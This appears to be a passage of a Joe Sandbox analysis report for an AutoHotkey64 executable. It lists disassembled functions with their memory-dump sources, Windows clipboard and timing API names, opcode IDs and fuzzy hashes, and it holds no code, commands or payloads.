                                                              • Instruction Fuzzy Hash: E391A2B1604B4486F7668B27E4843E937A1F34DBE4F11022AEB5963BF6DB38C490C745
                                                              Function 00000001400444E9 Relevance: 9.2, APIs: 6, Instructions: 183windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: 41ac409cc5c98d6a407ef150f8e9d91f1056ca87765fd53e680efde4b42241c2
                                                              • Instruction ID: bd989b711b344967e5e92285187565fef4e3431981ee340c7596af583025a409
                                                              • Opcode Fuzzy Hash: 41ac409cc5c98d6a407ef150f8e9d91f1056ca87765fd53e680efde4b42241c2
                                                              • Instruction Fuzzy Hash: 9A91A3B1604A4486F766CB27E4843E937A1F74DBE4F11022AEB5963BF6DB38C490C745
                                                              Function 00000001400446EE Relevance: 9.2, APIs: 6, Instructions: 183windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: 996d0fa98e410271d6d7527e8c9d34de7c72bda04751f09715ef6418649f7931
                                                              • Instruction ID: 6a2108ae844330661ca8d24bdf380bf5b09ebc7d7f083c7132a2734110a00254
                                                              • Opcode Fuzzy Hash: 996d0fa98e410271d6d7527e8c9d34de7c72bda04751f09715ef6418649f7931
                                                              • Instruction Fuzzy Hash: E591A2B1604B8486F7668B27E4843E937A1F74DBE4F11022AEB5963BF6DB38C490C745
                                                              Function 000000014004471C Relevance: 9.2, APIs: 6, Instructions: 183windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekRectUnlockWindow
                                                              • String ID:
                                                              • API String ID: 1900757344-0
                                                              • Opcode ID: d5a34565faab7dbc4182fd8b8a6889ba6501b2029ba08c8d3d4f5d9205bddf4c
                                                              • Instruction ID: e9635ff68ce4868bccd448f2bb9beb2ab565c3983c9a7d0d9f81bb5af33f1579
                                                              • Opcode Fuzzy Hash: d5a34565faab7dbc4182fd8b8a6889ba6501b2029ba08c8d3d4f5d9205bddf4c
                                                              • Instruction Fuzzy Hash: C291A1B1604A4486F7668B27E4843E937A1F74DBE4F11022AEB5963BF6DB38C490C745
                                                              Function 0000000140044F91 Relevance: 9.2, APIs: 6, Instructions: 183windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: f619114e838fbd3434d0b77d239d55af9a8c20b899fb631b8b15299d65b2d00a
                                                              • Instruction ID: b747b0d38b25c1aab6748d2921b02ad88dad49635f3aadf84fe81745ebd10fcf
                                                              • Opcode Fuzzy Hash: f619114e838fbd3434d0b77d239d55af9a8c20b899fb631b8b15299d65b2d00a
                                                              • Instruction Fuzzy Hash: 0391B2B1604A4486F7668B27E4843E937A1F38DBE4F11022AFB5963BF6DB38C490C745
                                                              Function 00000001400453C4 Relevance: 9.2, APIs: 6, Instructions: 183windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: ff001b32fe7c6d3cbb76ee65a1adba8cd962aad2bab466ed02000c605a4734e9
                                                              • Instruction ID: 7c1b70db183864a898f4cc8f1345db95f3f12829979e2d063847def9f546c84b
                                                              • Opcode Fuzzy Hash: ff001b32fe7c6d3cbb76ee65a1adba8cd962aad2bab466ed02000c605a4734e9
                                                              • Instruction Fuzzy Hash: 3F91A3B1604B4486F7668B27E4443E937A1F74DBE4F11022AEB5963BF6DB38C490C745
                                                              Function 000000014004585B Relevance: 9.2, APIs: 6, Instructions: 183windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: c19772ab5566a14304e03c9ca00d11865f6c802ae4702a3b82a1571245c51417
                                                              • Instruction ID: b24fa2383a836539ce7b3768bf12bf316320f6758285500967f2390fc08c5653
                                                              • Opcode Fuzzy Hash: c19772ab5566a14304e03c9ca00d11865f6c802ae4702a3b82a1571245c51417
                                                              • Instruction Fuzzy Hash: 7191A2B1604A4486F7668B27E4843E937A1F38DBE4F11022AEB5963BF6DB38C494C745
                                                              Function 00000001400439C5 Relevance: 9.2, APIs: 6, Instructions: 183windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: 0ea3dd3eef68d799ce3836d1c6be8775b3c1791db492157bbcbd976700b0df64
                                                              • Instruction ID: 5b2cf94c887333e95e5bfe7911be3b8296b1d3c47593bfcdfbe7aad4d3629339
                                                              • Opcode Fuzzy Hash: 0ea3dd3eef68d799ce3836d1c6be8775b3c1791db492157bbcbd976700b0df64
                                                              • Instruction Fuzzy Hash: EF91A2B1604A8486F7668B27E4843E937A1F34DBE4F11022AEB5963BF6DB38C490C745
                                                              Function 0000000140044F9A Relevance: 9.2, APIs: 6, Instructions: 182windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: 268c1b93e8ce23eb91cbce635ca31194d99325ced065378517a4f4eb5023373a
                                                              • Instruction ID: dd0f1d2eb2439dfa8b1a4332cba4db6ff994e717635b49f9619803758cb9105d
                                                              • Opcode Fuzzy Hash: 268c1b93e8ce23eb91cbce635ca31194d99325ced065378517a4f4eb5023373a
                                                              • Instruction Fuzzy Hash: 2F91B2B160464486F7668B27E4843E937E1F34DBE4F11022AEB59A3BF6DB38C491C745
                                                              Function 000000014004601E Relevance: 9.2, APIs: 6, Instructions: 181windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseFullGlobalMessageNamePathPeekPrivateProfileStringUnlock
                                                              • String ID:
                                                              • API String ID: 3404763234-0
                                                              • Opcode ID: aaa5a61d6fb6fa007f80f3f2523df651170dfe2546af1c648663ae46b367468d
                                                              • Instruction ID: 67bdd8155ed44371e43aa12a6c8ae60b2311c131e00c1a64272d1472555a0708
                                                              • Opcode Fuzzy Hash: aaa5a61d6fb6fa007f80f3f2523df651170dfe2546af1c648663ae46b367468d
                                                              • Instruction Fuzzy Hash: 8591B2B1604A4486F7668B27E4843E937A1F78DBE4F11022AFB5963BF6DB38C490C745
                                                              Function 0000000140044585 Relevance: 9.2, APIs: 6, Instructions: 181windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: d1e52f2feaf76f6175d46a308f957b2534830d491cac93961697262de6aa0127
                                                              • Instruction ID: 4861400d3b5cf577daeb625046542374006ef00bbc5f2a09383a5aaf91896e35
                                                              • Opcode Fuzzy Hash: d1e52f2feaf76f6175d46a308f957b2534830d491cac93961697262de6aa0127
                                                              • Instruction Fuzzy Hash: ED91A3B1604A4486F7668B27E4843E937A1F34DBE4F11022AFB5963BF6DB38C494C745
                                                              Function 0000000140044668 Relevance: 9.2, APIs: 6, Instructions: 181windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalLengthMessagePeekTextUnlockWindow
                                                              • String ID:
                                                              • API String ID: 1215013059-0
                                                              • Opcode ID: 607be492186d70aa13509c54bd32738ec88ec59e36c05a47c7b94a99d1079e2e
                                                              • Instruction ID: c67e9426a893926d1a8a9c6b9c219c338c011d5575cee439734875718313ef7c
                                                              • Opcode Fuzzy Hash: 607be492186d70aa13509c54bd32738ec88ec59e36c05a47c7b94a99d1079e2e
                                                              • Instruction Fuzzy Hash: DC91B2B1604A4486F7668B27E4843E937A1F78DBE4F11022AFB5963BF6DB38C490C745
                                                              Function 000000014004468E Relevance: 9.2, APIs: 6, Instructions: 181windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: 9a68fe563402c882addf0251fe6c250d71caa501adf475b7ac0c9dbfa1e9f628
                                                              • Instruction ID: 102a1ee81f39eec1a1616e720d7543fce0c67e409f804aea000cd53a73ec5eeb
                                                              • Opcode Fuzzy Hash: 9a68fe563402c882addf0251fe6c250d71caa501adf475b7ac0c9dbfa1e9f628
                                                              • Instruction Fuzzy Hash: 7C91A2B1604A4486F7668B27E4843E937A1F78DBE4F11022AEB5963BF6DB38C490C745
                                                              Function 0000000140044E13 Relevance: 9.2, APIs: 6, Instructions: 181windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalLabelMessagePeekUnlockVolumewcsncpy
                                                              • String ID:
                                                              • API String ID: 2345973108-0
                                                              • Opcode ID: bf4752fece9043d6864d6a153f2a90b68f62e13e14f32b275886960ad6323be5
                                                              • Instruction ID: 33bfc7b8dcd45a17d6dc81da3c46c5473144704a95a2d42ef770dc9b82215f8a
                                                              • Opcode Fuzzy Hash: bf4752fece9043d6864d6a153f2a90b68f62e13e14f32b275886960ad6323be5
                                                              • Instruction Fuzzy Hash: 6691A3B1604A4486F7668B27E4843E937A1F34DBE4F11022AFB5963BF6DB38C494C745
                                                              Function 0000000140045043 Relevance: 9.2, APIs: 6, Instructions: 181windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: b22628a0efb71ae06d00463a51bdbf1c75cf4baad888d670a93daa05fd501b90
                                                              • Instruction ID: 1d5160964faa64bdd9b3fdd799f262102d63962f23aaa19c9093c5f86d7cb3ee
                                                              • Opcode Fuzzy Hash: b22628a0efb71ae06d00463a51bdbf1c75cf4baad888d670a93daa05fd501b90
                                                              • Instruction Fuzzy Hash: FA91B3B1604A4486F7668B27E4843E937A1F34DBE4F11022AFB5963BF6DB38C490C745
                                                              Function 00000001400453A1 Relevance: 9.2, APIs: 6, Instructions: 181windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
